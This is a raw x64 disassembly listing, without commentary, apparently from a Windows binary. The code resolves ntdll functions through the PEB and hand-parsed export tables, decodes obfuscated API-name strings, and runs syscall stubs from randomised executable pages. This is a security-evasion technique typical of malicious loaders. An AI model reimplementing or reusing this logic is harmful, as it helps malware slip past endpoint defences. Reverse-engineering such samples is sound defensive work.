movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002c325
mov rax, rcx
lea r9, [rbp + 0x1f1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002c31e
add rax, r11
test edx, edx
jne 0x14002c309
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r8d, r8d
test dil, dil
jne 0x14002c5a1
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x14002c254
jmp 0x14002c7dc
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002be72
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002be72
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002be72
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002be72
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002be72
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x589]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002c3e1
inc rax
test edi, edi
jne 0x14002c3cc
xor r9d, r9d
test r8d, r8d
je 0x14002c3f7
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002c3bb
jmp 0x14002be72
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002be72
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov edi, 1
cmp eax, edi
jl 0x14002c598
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140095f90
or dword [rbp + 0x20d54], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1f9d0]
call fcn.14003804c
lea rcx, [rbp + 0x1f9d0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x1f9d0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x3a550], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002c49d
mov r15d, 0x1000
mov r8d, r15d
lea rdx, [rbp + 0x3a550]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf14], eax
lea r9, [rbp + 0xf14]
mov r8d, r14d
mov edx, r15d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x30]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rbp + 0xc28]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xf14]
mov r8d, dword [rbp + 0xf14]
mov edx, r15d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r15d
xor edx, edx
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
lea r15d, [rax + 0x10]
jmp 0x14002be76
mov dword [rbp - 0x60], r9d
jmp 0x14002be7b
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002c7dc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002c7dc
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002c7dc
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002c7dc
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r8
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002c7dc
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4c9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002c632
inc rax
test edi, edi
jne 0x14002c61d
test r8d, r8d
je 0x14002c645
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002c60c
jmp 0x14002c7dc
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002c7dc
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002c7dc
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140095f90
or dword [rbp + 0x220e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x20d60]
call fcn.14003804c
lea rcx, [rbp + 0x20d60]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x20d60]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x3b550], rax
add rdi, r14
cmp rdi, 0x200
jl 0x14002c6eb
mov r8d, 0x1000
lea rdx, [rbp + 0x3b550]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf10], eax
lea r9, [rbp + 0xf10]
mov edx, 0x1000
lea r8d, [rax + 0x20]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xd88]
lea rdx, [rbp + 0xde8]
mov rcx, qword [rbp - 0x40]
call rdi
lea r9, [rbp + 0xf10]
mov r8d, dword [rbp + 0xf10]
mov edx, 0x1000
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
mov ecx, 0x1000
mov qword [rbp + 0xd90], rcx
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0xda0], rax
call fcn.140096274
mov qword [rsp + 0x78], rax
mov r8, qword [rbp + 0xd90]
xor edx, edx
mov rcx, rax
call fcn.1400bdea0
mov rax, qword [rbp + 0xd90]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xda0]
mov qword [rbp - 0x50], rax
mov byte [rbp + 0x570], Ordinal_41
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x571], al
mov r9, rsi
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x572], al
mov r9, rsi
lea r8d, [r13 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x573], al
mov r9, rsi
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x574], al
mov r9, rsi
lea r8d, [r13 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x575], al
mov r9, rsi
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x576], al
mov r9, rsi
lea r8d, [r13 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x577], al
mov r9, rsi
lea r8d, [r13 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x578], al
mov r9, rsi
lea r8d, [r13 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x579], al
mov r9, rsi
lea r8d, [r13 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x57a], al
mov r9, rsi
lea r8d, [r13 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x57b], al
mov r9, rsi
lea r8d, [r13 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x57c], al
mov r9, rsi
lea r8d, [r13 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x57d], al
mov r9, rsi
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x57e], al
mov r9, rsi
lea r8d, [r13 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x57f], al
mov r9, rsi
lea r8d, [r13 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x580], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x581], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x582], al
mov r9, rsi
lea r8d, [r13 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x583], al
mov r9, rsi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + 0x584], al
xor eax, eax
mov byte [rbp + 0x585], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x571]
lea rcx, [rbp + 0x570]
call fcn.140037880
mov byte [rbp + rdi + 0x571], al
add rdi, r13
cmp rdi, rsi
jb 0x14002ca52
xor edi, edi
mov byte [rbp + 0x585], dil
mov byte [rbp + 0x70], bl
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x71], al
mov r9d, r13d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x72], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x73], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x74], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x75], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x76], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x77], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x78], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + 0x79], al
xor eax, eax
mov byte [rbp + 0x7a], al
lea r13d, [rdi + 0x17]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x71]
lea rcx, [rbp + 0x70]
call fcn.140037108
mov byte [rbp + rdi + 0x71], al
add rdi, r14
cmp rdi, 9
jb 0x14002cb52
xor edi, edi
mov byte [rbp + 0x7a], dil
mov rax, qword gs:[0x60]
test rax, rax
lea r14d, [rdi + 0x20]
je 0x14002cc94
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002cc16
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002cbe6
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002cc6f
mov rax, rcx
lea r9, [rbp + 0x71]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002cc68
add rax, r11
test edx, edx
jne 0x14002cc53
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x14002d14c
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
xor edi, edi
cmp rax, qword [rbp - 0x80]
jne 0x14002cba1
mov dword [rbp - 0x60], edi
mov rcx, qword [rsp + 0x78]
call fcn.140095ff0
cmp dword [rbp - 0x60], edi
jl 0x14002d5cd
mov byte [rbp + 0x480], Ordinal_27
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x481], al
mov r9, r12
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x482], al
mov r9, r12
lea r8d, [rsi + 1]
mov dl, 0x46
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x483], al
mov r9, r12
lea r8d, [rsi + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x484], al
mov r9, r12
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x485], al
mov r9, r12
lea r8d, [rsi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x486], al
mov r9, r12
lea r8d, [rsi + 5]
mov dl, 0x56
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x487], al
mov r9, r12
lea r8d, [rsi + 6]
mov dl, 0x69
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x488], al
mov r9, r12
lea r8d, [rsi + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x489], al
mov r9, r12
lea r8d, [rsi + 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x48a], al
mov r9, r12
lea r8d, [rsi + 9]
mov dl, 0x75
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x48b], al
mov r9, r12
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x48c], al
mov r9, r12
lea r8d, [rsi + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x48d], al
mov r9, r12
lea r8d, [rsi + 0xc]
mov dl, 0x4d
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x48e], al
mov r9, r12
lea r8d, [rsi + 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x48f], al
mov r9, r12
lea r8d, [rsi + 0xe]
mov dl, 0x6d
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x490], al
mov r9, r12
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x491], al
mov r9, r12
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x492], al
mov r9, r12
lea r8d, [rsi + 0x11]
mov dl, 0x79
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + 0x493], al
xor eax, eax
mov byte [rbp + 0x494], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x481]
lea rcx, [rbp + 0x480]
call fcn.1400378fc
mov byte [rbp + rdi + 0x481], al
add rdi, rsi
cmp rdi, r12
jb 0x14002cebb
xor edi, edi
mov byte [rbp + 0x494], dil
mov byte [rbp + 0xa0], 0x51
lea esi, [rdi + 9]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa1], al
mov r9d, esi
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + 0xa9], al
xor eax, eax
mov byte [rbp + 0xaa], al
lea esi, [rdi + 0x14]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa1]
lea rcx, [rbp + 0xa0]
call fcn.140037108
mov byte [rbp + rdi + 0xa1], al
add rdi, r15
cmp rdi, 9
jb 0x14002cff6
xor edi, edi
mov byte [rbp + 0xaa], dil
mov rax, qword gs:[0x60]
test rax, rax
lea r15d, [rdi + 0x10]
je 0x14002d5cd
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002d0c6
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002d096
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002d122
mov rax, rcx
lea r9, [rbp + 0xa1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002d11b
add rax, r11
test edx, edx
jne 0x14002d106
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x14002d38f
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x80]
je 0x14002d5cd
xor edi, edi
jmp 0x14002d051
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002cc94
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002cc94
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002cc94
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002cc94
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002cc94
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x571]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002d1de
inc rax
test edi, edi
jne 0x14002d1c9
xor edi, edi
test r8d, r8d
je 0x14002d1f3
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002d1b8
jmp 0x14002cc94
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002cc94
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002cc94
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140095f90
or dword [rbp + 0x23474], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x220f0]
call fcn.14003804c
lea rcx, [rbp + 0x220f0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x220f0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x3c550], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002d297
mov r15d, 0x1000
mov r8d, r15d
lea rdx, [rbp + 0x3c550]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf0c], eax
lea r9, [rbp + 0xf0c]
mov r8d, r14d
mov edx, r15d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x30]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xf0c]
mov r8d, dword [rbp + 0xf0c]
mov edx, r15d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r15d
xor edx, edx
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400f1364], edi
lea r15d, [rdi + 0x10]
jmp 0x14002cc97
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002d5cd
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d5cd
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002d5cd
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002d5cd
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002d5cd
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x481]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002d421
inc rax
test edi, edi
jne 0x14002d40c
xor edi, edi
test r8d, r8d
je 0x14002d436
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002d3fb
jmp 0x14002d5cd
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002d5cd
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002d5cd
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140095f90
or dword [rbp + 0x24804], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x23480]
call fcn.14003804c
lea rcx, [rbp + 0x23480]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x23480]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x3d550], rax
add rdi, r14
cmp rdi, 0x200
jl 0x14002d4da
mov r8d, 0x1000
lea rdx, [rbp + 0x3d550]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xee4], eax
lea r9, [rbp + 0xee4]
lea r14d, [rax + 0x20]
mov r8d, r14d
